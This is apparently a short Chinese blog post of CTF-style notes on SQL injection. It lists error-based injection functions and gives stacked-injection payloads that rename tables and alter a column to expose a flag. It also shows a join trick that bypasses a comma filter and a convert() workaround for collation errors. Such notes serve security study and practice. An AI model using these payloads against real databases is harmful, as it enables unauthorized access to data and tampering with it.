Web_Sql_奇葩注入方式及问题

报错注入

extractvalue()
updatexml()
exp()
floor()

二次注入

(待补充)

堆叠注入

(禁用select|update|delete|drop|insert|where)多个语句同时执行

如:
1';show databases;
将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag
1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#
之后利用 1' or '1'='1 爆出flag

问题

逗号被过滤

如:
select 1,2 回显select 1
可通过 select * from (select 1)a join (select 2)b
进行绕过

数据库本身编码问题

报错:
Illegal mix of collations for operation 'UNION’
可以用convert()进行编码转换
如:group_concat(convert(TABLE_NAME using gbk))

posted @ 2020-11-30 19:05  zhbkai  阅读(116)  评论(0)    收藏  举报